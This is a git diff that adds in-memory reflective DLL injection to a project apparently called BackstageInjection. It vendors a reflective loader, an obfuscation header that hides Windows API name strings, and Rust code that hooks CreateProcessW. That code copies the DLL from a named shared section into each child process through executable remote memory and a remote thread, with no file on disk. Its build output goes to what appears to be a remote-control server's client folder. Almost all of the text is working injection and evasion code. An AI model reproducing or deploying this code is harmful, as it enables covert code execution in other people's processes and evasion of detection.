injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + *(HMODULE*)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/BackstageInjection-Rust/reflective/ReflectiveLoader.h b/BackstageInjection-Rust/reflective/ReflectiveLoader.h new file mode 100644 index 0000000..3e13533 --- /dev/null +++ b/BackstageInjection-Rust/reflective/ReflectiveLoader.h @@ -0,0 +1,215 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include + +#ifdef _MSC_VER +#include +#else +// MinGW/GCC: _rotr lives in , __readgsqword in +#include +#include +#endif + +#include "ReflectiveDLLInjection.h" + +typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); +typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR); +typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); +typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#ifdef _MSC_VER +#pragma intrinsic( _rotr ) +#define RDI_INLINE __forceinline +#else +#define RDI_INLINE static inline __attribute__((always_inline)) +#endif + +RDI_INLINE DWORD ror(DWORD d) +{ + return _rotr(d, HASH_KEY); +} + +RDI_INLINE DWORD hash(char* c) +{ + register DWORD h = 0; + do + { + h = ror(h); + h += *c; + } while (*++c); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, * PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK* pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset : 12; + WORD type : 4; +} IMAGE_RELOC, * PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/BackstageInjection-Rust/reflective/obfstr.h b/BackstageInjection-Rust/reflective/obfstr.h new file mode 100644 index 0000000..1f14dd5 --- /dev/null +++ b/BackstageInjection-Rust/reflective/obfstr.h @@ -0,0 +1,57 @@ +#pragma once + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#define OBFS_KEY 16 + +#define _OBF_CHR(c) ((unsigned char)(c) + OBFS_KEY) + +static inline char* obfs_dec(char* buf, int len) +{ + for (int i = 0; i < len; i++) + buf[i] = (char)((unsigned char)buf[i] - OBFS_KEY); + return buf; +} + +#ifdef _MSC_VER +#define OBFS(arr) \ + obfs_dec((char*)memcpy((char*)_alloca(sizeof(arr)), (const char*)(arr), sizeof(arr)), \ + (int)(sizeof(arr) - 1)) +#else +#define OBFS(arr) \ + obfs_dec((char*)memcpy((char[sizeof(arr)]){0}, (const char*)(arr), sizeof(arr)), \ + (int)(sizeof(arr) - 1)) +#endif + +// ---- Encrypted string arrays ---- +// Use _OBF_CHR() for each character so the compiler folds to constants. + +static const unsigned char _enc_ReflectiveLoader[] = { + _OBF_CHR('R'),_OBF_CHR('e'),_OBF_CHR('f'),_OBF_CHR('l'), + _OBF_CHR('e'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'), + _OBF_CHR('v'),_OBF_CHR('e'),_OBF_CHR('L'),_OBF_CHR('o'), + _OBF_CHR('a'),_OBF_CHR('d'),_OBF_CHR('e'),_OBF_CHR('r'), 0 +}; + +static const unsigned char _enc_ntdll_dll[] = { + _OBF_CHR('n'),_OBF_CHR('t'),_OBF_CHR('d'),_OBF_CHR('l'), + _OBF_CHR('l'),_OBF_CHR('.'),_OBF_CHR('d'),_OBF_CHR('l'), + _OBF_CHR('l'), 0 +}; + +static const unsigned char _enc_RtlAddFunctionTable[] = { + _OBF_CHR('R'),_OBF_CHR('t'),_OBF_CHR('l'),_OBF_CHR('A'), + _OBF_CHR('d'),_OBF_CHR('d'),_OBF_CHR('F'),_OBF_CHR('u'), + _OBF_CHR('n'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'), + _OBF_CHR('o'),_OBF_CHR('n'),_OBF_CHR('T'),_OBF_CHR('a'), + _OBF_CHR('b'),_OBF_CHR('l'),_OBF_CHR('e'), 0 +}; + +#ifdef __cplusplus +} +#endif \ No newline at end of file diff --git a/BackstageInjection-Rust/src/abi.rs b/BackstageInjection-Rust/src/abi.rs index 7db3c29..9111d8f 100644 --- a/BackstageInjection-Rust/src/abi.rs +++ b/BackstageInjection-Rust/src/abi.rs @@ -10,7 +10,12 @@ pub const STATUS_UNSUCCESSFUL: i32 = 0xC000_0001u32 as i32; // ---- Memory allocation constants ---- pub const MEM_COMMIT: u32 = 0x1000; pub const MEM_RESERVE: u32 = 0x2000; +pub const MEM_RELEASE: u32 = 0x8000; pub const PAGE_READWRITE: u32 = 0x04; +pub const PAGE_EXECUTE_READWRITE: u32 = 0x40; + +// ---- File mapping (RDI DLL section) constants ---- +pub const FILE_MAP_READ: u32 = 0x0004; // ---- CreateProcess flags ---- pub const CREATE_SUSPENDED: u32 = 0x0000_0004; @@ -180,6 +185,25 @@ extern "system" { flAllocationType: u32, flProtect: u32, ) -> usize; + pub fn VirtualFreeEx( + hProcess: usize, + lpAddress: usize, + dwSize: usize, + dwFreeType: u32, + ) -> i32; + pub fn OpenFileMappingW( + dwDesiredAccess: u32, + bInheritHandle: i32, + lpName: *const u16, + ) -> usize; + pub fn MapViewOfFile( + hFileMappingObject: usize, + dwDesiredAccess: u32, + dwFileOffsetHigh: u32, + dwFileOffsetLow: u32, + dwNumberOfBytesToMap: usize, + ) -> usize; + pub fn UnmapViewOfFile(lpBaseAddress: usize) -> i32; pub fn WriteProcessMemory( hProcess: usize, lpBaseAddress: usize, diff --git a/BackstageInjection-Rust/src/config.rs b/BackstageInjection-Rust/src/config.rs index eaba379..a726ae1 100644 --- a/BackstageInjection-Rust/src/config.rs +++ b/BackstageInjection-Rust/src/config.rs @@ -12,6 +12,8 @@ pub struct HookConfig { const RDI_SEARCH_PATH: &str = "RDI_SEARCH_PATH"; const RDI_REPLACE_PATH: &str = "RDI_REPLACE_PATH"; +pub const RDI_DLL_SECTION: &str = "RDI_DLL_SECTION"; +pub const RDI_DLL_SIZE: &str = "RDI_DLL_SIZE"; pub fn load() -> HookConfig { HookConfig { @@ -20,7 +22,7 @@ pub fn load() -> HookConfig { } } -fn read_env(name: &str) -> Vec { +pub fn read_env(name: &str) -> Vec { let name = name.encode_utf16().chain(core::iter::once(0)).collect::>(); let mut buf = [0u16; ENV_BUFFER_WCHARS as usize]; unsafe { diff --git a/BackstageInjection-Rust/src/hooks.rs b/BackstageInjection-Rust/src/hooks.rs index 4cc9f10..ff70cd5 100644 --- a/BackstageInjection-Rust/src/hooks.rs +++ b/BackstageInjection-Rust/src/hooks.rs @@ -376,19 +376,27 @@ pub extern "system" fn detour_create_process_w( dbg_log!( "CreateProcessW child pid={child_pid} created but hooks NOT active — skipping injection" ); - } else if let Some(path) = inject::our_path() { - if !path.is_empty() { - let ok = unsafe { inject::inject_library((*lp_process_information).hProcess, path) }; - dbg_log!( - "CreateProcessW child pid={child_pid} app='{}' inject={ok} suspended_forced={}", - display_cmd(lp_application_name, lp_command_line), - !was_suspended, - ); - } else { - dbg_log!("CreateProcessW child pid={child_pid} injection skipped: our_path empty"); - } } else { - dbg_log!("CreateProcessW child pid={child_pid} injection skipped: no dll path recorded"); + let h_process = unsafe { (*lp_process_information).hProcess }; + let injected = if let Some(bytes) = inject::dll_bytes() { + unsafe { inject::inject_reflective(h_process, bytes) } + } else if let Some(path) = inject::our_path() { + if path.is_empty() { + dbg_log!("CreateProcessW child pid={child_pid} injection skipped: our_path empty"); + false + } else { + unsafe { inject::inject_library(h_process, path) } + } + } else { + dbg_log!("CreateProcessW child pid={child_pid} injection skipped: no dll bytes or path"); + false + }; + dbg_log!( + "CreateProcessW child pid={child_pid} app='{}' inject={injected} mode={} suspended_forced={}", + display_cmd(lp_application_name, lp_command_line), + if inject::dll_bytes().is_some() { "reflective" } else { "loadlibrary" }, + !was_suspended, + ); } if !was_suspended { unsafe { diff --git a/BackstageInjection-Rust/src/inject.rs b/BackstageInjection-Rust/src/inject.rs index 5fe40e1..af0070c 100644 --- a/BackstageInjection-Rust/src/inject.rs +++ b/BackstageInjection-Rust/src/inject.rs @@ -1,7 +1,12 @@ -//! Child-process injection from disk: LoadLibraryW via CreateRemoteThread. +//! Child-process injection. //! -//! The injected module path is exactly the path this DLL was loaded from, so a -//! child inherits the same staged copy the agent placed on disk. +//! Two strategies mirror the C reference: +//! - in-memory reflective injection (default): raw DLL bytes come from the +//! `RDI_DLL_SECTION` page-file-backed named section passed in the child's +//! environment block, and each child runs our exported `ReflectiveLoader` +//! on a remote thread — no file on disk; +//! - disk fallback: the module's own on-disk path is injected with +//! LoadLibraryW when no section bytes were provided. use core::ffi::c_void; use std::ptr::null_mut; @@ -11,6 +16,7 @@ use crate::abi::{self, GetModuleFileNameW}; use crate::dbg_log; static OUR_PATH: OnceLock> = OnceLock::new(); +static DLL_BYTES: OnceLock> = OnceLock::new(); /// Record the on-disk path of this DLL (called from DllMain on attach). pub fn set_our_path(h_instance: usize) { @@ -22,6 +28,16 @@ pub fn our_path() -> Option<&'static Vec> { OUR_PATH.get() } +/// Record the raw DLL bytes for in-memory child injection. +pub fn set_dll_bytes(bytes: Vec) { + let _ = DLL_BYTES.set(bytes); +} + +/// Raw DLL bytes loaded from the RDI_DLL_SECTION environment section, if any. +pub fn dll_bytes() -> Option<&'static Vec> { + DLL_BYTES.get() +} + fn dll_path_from_hinst(h_instance: usize) -> Vec { let mut buf = vec![0u16; 1024]; unsafe { @@ -31,6 +47,238 @@ fn dll_path_from_hinst(h_instance: usize) -> Vec { buf } +/// Open the `RDI_DLL_SECTION`/`RDI_DLL_SIZE` environment section and copy the +/// DLL bytes out of it. Returns None (without touching the section) when the +/// parent did not provide it — the loadlibrary-mode disk fallback then applies. +pub unsafe fn load_dll_bytes_from_section() -> Option> { + let name = crate::config::read_env(crate::config::RDI_DLL_SECTION); + let size_raw = crate::config::read_env(crate::config::RDI_DLL_SIZE); + if name.is_empty() || size_raw.is_empty() { + dbg_log!("section: no RDI_DLL_SECTION/RDI_DLL_SIZE env — reflective child inject disabled"); + return None; + } + + let mut size: usize = 0; + for &c in &size_raw { + if !(0x30..=0x39).contains(&c) { + dbg_log!("section: RDI_DLL_SIZE not ASCII digits — reflective child inject disabled"); + return None; + } + size = size.saturating_mul(10).saturating_add((c - 0x30) as usize); + } + if size == 0 { + dbg_log!("section: RDI_DLL_SIZE is 0 — reflective child inject disabled"); + return None; + } + + let mut name_null = name.clone(); + name_null.push(0); + let handle = unsafe { abi::OpenFileMappingW(abi::FILE_MAP_READ, 0, name_null.as_ptr()) }; + if handle == 0 { + dbg_log!("section: OpenFileMappingW failed for '{}'", crate::log::display_wide(&name)); + return None; + } + + let view = unsafe { abi::MapViewOfFile(handle, abi::FILE_MAP_READ, 0, 0, size) }; + if view == 0 { + unsafe { + abi::CloseHandle(handle); + } + dbg_log!("section: MapViewOfFile failed (size={size})"); + return None; + } + + let bytes = unsafe { std::slice::from_raw_parts(view as *const u8, size) }.to_vec(); + unsafe { + abi::UnmapViewOfFile(view); + abi::CloseHandle(handle); + } + dbg_log!("section: loaded {size} DLL bytes for reflective child inject"); + Some(bytes) +} + +/// Locate the file offset of the `ReflectiveLoader` export within a raw PE +/// image (raw memory offset == file offset because the bytes are copied 1:1). +/// Reads are bounds-checked so a truncated image never faults. +fn find_reflective_loader_offset(pe: &[u8]) -> Option { + if pe.len() < 64 || pe[0] != b'M' || pe[1] != b'Z' { + return None; + } + let lfanew = u32::from_le_bytes([pe[60], pe[61], pe[62], pe[63]]) as usize; + if lfanew + 4 > pe.len() { + return None; + } + if pe[lfanew..lfanew + 4] != [0x50, 0x45, 0x00, 0x00] { + return None; + } + + let coff = lfanew + 4; + if coff + 20 > pe.len() { + return None; + } + let num_sections = u16::from_le_bytes([pe[coff + 2], pe[coff + 3]]); + let opt_size = u16::from_le_bytes([pe[coff + 16], pe[coff + 17]]) as usize; + let opt = coff + 20; + if opt + 2 > pe.len() { + return None; + } + let magic = u16::from_le_bytes([pe[opt], pe[opt + 1]]); + + let dd_off = match magic { + 0x20B => opt + 112, // PE32+ (x64) + 0x10B => opt + 96, // PE32 + _ => return None, + }; + if dd_off + 40 > pe.len() { + return None; + } + let export_rva = u32::from_le_bytes([pe[dd_off], pe[dd_off + 1], pe[dd_off + 2], pe[dd_off + 3]]); + if export_rva == 0 { + return None; + } + + let section_off = opt + opt_size; + let export_off = rva_to_file_offset(export_rva, pe, section_off, num_sections)? as usize; + if export_off + 40 > pe.len() { + return None; + } + + let names_rva = u32::from_le_bytes(pe[export_off + 32..export_off + 36].try_into().ok()?); + let funcs_rva = u32::from_le_bytes(pe[export_off + 28..export_off + 32].try_into().ok()?); + let ordinals_rva = u32::from_le_bytes(pe[export_off + 36..export_off + 40].try_into().ok()?); + let num_names = u32::from_le_bytes(pe[export_off + 24..export_off + 28].try_into().ok()?); + + let names_off = rva_to_file_offset(names_rva, pe, section_off, num_sections)? as usize; + let funcs_off = rva_to_file_offset(funcs_rva, pe, section_off, num_sections)? as usize; + let ordinals_off = rva_to_file_offset(ordinals_rva, pe, section_off, num_sections)? as usize; + + let find_name = b"ReflectiveLoader"; + for i in 0..num_names as usize { + let name_ent = names_off + i * 4; + if name_ent + 4 > pe.len() { + return None; + } + let name_rva = u32::from_le_bytes(pe[name_ent..name_ent + 4].try_into().ok()?); + let Some(name_fo) = rva_to_file_offset(name_rva, pe, section_off, num_sections) else { + continue; + }; + let name_fo = name_fo as usize; + if name_fo + find_name.len() > pe.len() { + continue; + } + let name = &pe[name_fo..name_fo + find_name.len()]; + if name != find_name || pe.get(name_fo + find_name.len()) != Some(&0) { + continue; + } + let ord_ent = ordinals_off + i * 2; + if ord_ent + 2 > pe.len() { + return None; + } + let ordinal = u16::from_le_bytes([pe[ord_ent], pe[ord_ent + 1]]) as usize; + let func_ent = funcs_off + ordinal * 4; + if func_ent + 4 > pe.len() { + return None; + } + let func_rva = u32::from_le_bytes(pe[func_ent..func_ent + 4].try_into().ok()?); + return rva_to_file_offset(func_rva, pe, section_off, num_sections); + } + None +} + +fn rva_to_file_offset(rva: u32, pe: &[u8], section_off: usize, num_sections: u16) -> Option { + for i in 0..num_sections as usize { + let s = section_off + i * 40; + if s + 40 > pe.len() { + return None; + } + let virtual_addr = u32::from_le_bytes(pe[s + 12..s + 16].try_into().ok()?); + let raw_size = u32::from_le_bytes(pe[s + 16..s + 20].try_into().ok()?); + let raw_ptr = u32::from_le_bytes(pe[s + 20..s + 24].try_into().ok()?); + if rva >= virtual_addr && rva < virtual_addr.saturating_add(raw_size) { + return Some(rva.wrapping_sub(virtual_addr).wrapping_add(raw_ptr)); + } + } + // Header data lives before the first section's raw pointer. + if num_sections > 0 { + let s = section_off; + if s + 24 <= pe.len() { + let first_raw_ptr = u32::from_le_bytes(pe[s + 20..s + 24].try_into().ok()?); + if rva < first_raw_ptr { + return Some(rva); + } + } + } + None +} + +/// Inject raw DLL bytes into `process` by copying them at their natural file +/// offsets and running our exported `ReflectiveLoader` on a remote thread. +/// Returns false on any failure; callers treat failure as fail-open. +pub unsafe fn inject_reflective(process: usize, bytes: &[u8]) -> bool { + let Some(loader_offset) = find_reflective_loader_offset(bytes) else { + dbg_log!("inject-reflective: ReflectiveLoader export not found in DLL bytes"); + return false; + }; + dbg_log!("inject-reflective: loader offset=0x{loader_offset:x} size={}", bytes.len()); + + let base = unsafe { + abi::VirtualAllocEx( + process, + 0, + bytes.len(), + abi::MEM_COMMIT | abi::MEM_RESERVE, + abi::PAGE_EXECUTE_READWRITE, + ) + }; + if base == 0 { + dbg_log!("inject-reflective: VirtualAllocEx failed"); + return false; + } + + let mut written = 0usize; + let ok = unsafe { + abi::WriteProcessMemory( + process, + base, + bytes.as_ptr() as *const c_void, + bytes.len(), + &mut written, + ) + }; + if ok == 0 || written != bytes.len() { + dbg_log!("inject-reflective: WriteProcessMemory failed (ok={ok} written={written})"); + unsafe { + abi::VirtualFreeEx(process, base, 0, abi::MEM_RELEASE); + } + return false; + } + + let mut thread_id = 0u32; + let h_thread = unsafe { + abi::CreateRemoteThread( + process, + null_mut(), + 1024 * 1024, + base + loader_offset as usize, + 0, + 0, + &mut thread_id, + ) + }; + if h_thread == 0 { + dbg_log!("inject-reflective: CreateRemoteThread failed"); + return false; + } + + let wait = unsafe { abi::WaitForSingleObject(h_thread, 30000) }; + unsafe { + abi::CloseHandle(h_thread); + } + let ok = wait == abi::WAIT_OBJECT_0; + dbg_log!("inject-reflective: remote thread wait=0x{wait:08X} thread_id={thread_id} -> {ok}"); + ok +} + /// Inject `path` into `process` by writing the path into the target and running /// LoadLibraryW on a remote thread. Returns false on any failure; callers treat /// failure as fail-open (the child still runs, just without hooks). @@ -110,4 +358,54 @@ pub unsafe fn inject_library(process: usize, path: &[u16]) -> bool { "inject: remote thread wait=0x{wait:08X} thread_id={thread_id} -> {ok}" ); ok +} + +#[cfg(test)] +mod tests { + use super::*; + + /// Locate the built DLL so the export resolver can be exercised against the + /// real artifact (wherever the tests run from one of the release outputs). + fn built_dll_bytes() -> Option> { + let root = std::env::var_os("CARGO_MANIFEST_DIR")?; + for path in [ + "target/x86_64-pc-windows-msvc/release/BackstageInjection.dll", + "target/x86_64-pc-windows-gnu/release/BackstageInjection.dll", + "target/release/BackstageInjection.dll", + ] { + let p = std::path::Path::new(&root).join(path); + if let Ok(bytes) = std::fs::read(&p) { + return Some(bytes); + } + } + None + } + + #[test] + fn find_loader_rejects_truncated_input_without_panicking() { + for len in [0usize, 1, 63, 64, 65, 100, 1000] { + let mut bytes = vec![0u8; len]; + if len >= 2 { + bytes[0] = b'M'; + bytes[1] = b'Z'; + } + assert_eq!(find_reflective_loader_offset(&bytes), None, "len={len}"); + } + } + + #[test] + fn find_loader_rejects_garbage_pe() { + assert_eq!(find_reflective_loader_offset(b"RIFF this is not a pe file at all"), None); + } + + #[test] + fn find_loader_finds_export_in_real_dll() { + let Some(dll) = built_dll_bytes() else { + eprintln!("skipping: built DLL not found (run cargo build first)"); + return; + }; + let offset = find_reflective_loader_offset(&dll).expect("ReflectiveLoader export in built DLL"); + assert!(offset > 0, "loader offset must be inside the image"); + assert!((offset as usize) < dll.len()); + } } \ No newline at end of file diff --git a/BackstageInjection-Rust/src/lib.rs b/BackstageInjection-Rust/src/lib.rs index 9079764..6d30150 100644 --- a/BackstageInjection-Rust/src/lib.rs +++ b/BackstageInjection-Rust/src/lib.rs @@ -2,10 +2,16 @@ //! //! On DLL_PROCESS_ATTACH the DLL: //! - reads the RDI_SEARCH_PATH / RDI_REPLACE_PATH environment configuration; +//! - opens the RDI_DLL_SECTION / RDI_DLL_SIZE page-file section passed by the +//! agent so child processes can be injected in-memory (reflective path); //! - installs MinHook trampolines over ntdll path-resolution APIs and //! kernel32!CreateProcessW; -//! - on CreateProcessW success for a child, injects this same DLL from its -//! on-disk path via LoadLibraryW. +//! - on CreateProcessW success for a child, reflectively injects this DLL +//! from the shared-section bytes, or falls back to Injecting the module's +//! own on-disk path via LoadLibraryW when no section is present. +//! +//! The cdylib also exports `ReflectiveLoader` (compiled from the vendored C +//! loader in reflective/) so the initial injection itself can be reflective. //! //! On DLL_PROCESS_DETACH all hooks are disabled best-effort. @@ -37,11 +43,16 @@ pub extern "system" fn DllMain( } log::init_from_env(); let cfg = config::load(); + if let Some(bytes) = unsafe { inject::load_dll_bytes_from_section() } { + inject::set_dll_bytes(bytes); + } dbg_log!( - "DllMain attach pid={} search={} replace={}", + "DllMain attach pid={} search={} replace={} have_section_bytes={} our_path='{}'", unsafe { abi::GetCurrentProcessId() }, crate::log::display_wide(&cfg.search), crate::log::display_wide(&cfg.replace), + inject::dll_bytes().is_some(), + crate::log::display_wide(inject::our_path().unwrap_or(&Vec::new())), ); let _ = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| { hooks::install(cfg); diff --git a/scripts/build-backstage-dll.bat b/scripts/build-backstage-dll.bat index 4890348..f2811a6 100644 --- a/scripts/build-backstage-dll.bat +++ b/scripts/build-backstage-dll.bat @@ -1,14 +1,17 @@ @echo off setlocal EnableDelayedExpansion -REM Build the BackstageInjection DLL for Windows x64 using cargo (MSVC target). -REM Requires a Rust toolchain with the x86_64-pc-windows-msvc target and MSVC -REM build tools (auto-detected by the cc crate via vswhere). +REM Build the BackstageInjection DLL for Windows x64 using cargo (GNU target). +REM The GNU toolchain is required: the reflective loader manually maps the image +REM without the MSVC CRT bootstrapping, and the MSVC CRT's TLS/CFG machinery +REM fast-fails (0xC0000409) under a manual map. See +REM BackstageInjection-Rust/build.rs and protocol/README.md. Requires the +REM x86_64-pc-windows-gnu target and a mingw-w64 gcc for the cc crate. set "SCRIPT_DIR=%~dp0" for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\" set "CRATE_DIR=%ROOT%BackstageInjection-Rust" set "OUT_DIR=%ROOT%Overlord-Server\dist-clients" -set "TARGET=x86_64-pc-windows-msvc" +set "TARGET=x86_64-pc-windows-gnu" set "DLL_NAME=BackstageInjection.x64.dll" where cargo >nul 2>&1